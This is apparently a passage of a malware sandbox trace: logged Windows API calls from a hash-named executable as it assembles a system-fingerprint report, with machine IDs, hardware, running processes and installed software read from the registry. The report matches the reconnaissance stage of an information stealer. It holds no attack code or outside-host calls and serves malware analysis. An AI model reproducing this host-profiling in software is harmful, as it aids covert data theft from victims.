- 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]"
[0054.957] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\n"
[0054.957] RegCloseKey (hKey=0x514) returned 0x0
[0054.958] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x1e, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0011-0000-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.958] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0011-0000-0000-0000000FF1CE}") returned 90
[0054.958] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-0011-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.958] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Office Professional Plus 2016", lpcbData=0x1816c0*=0x28) returned 0x0
[0054.958] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 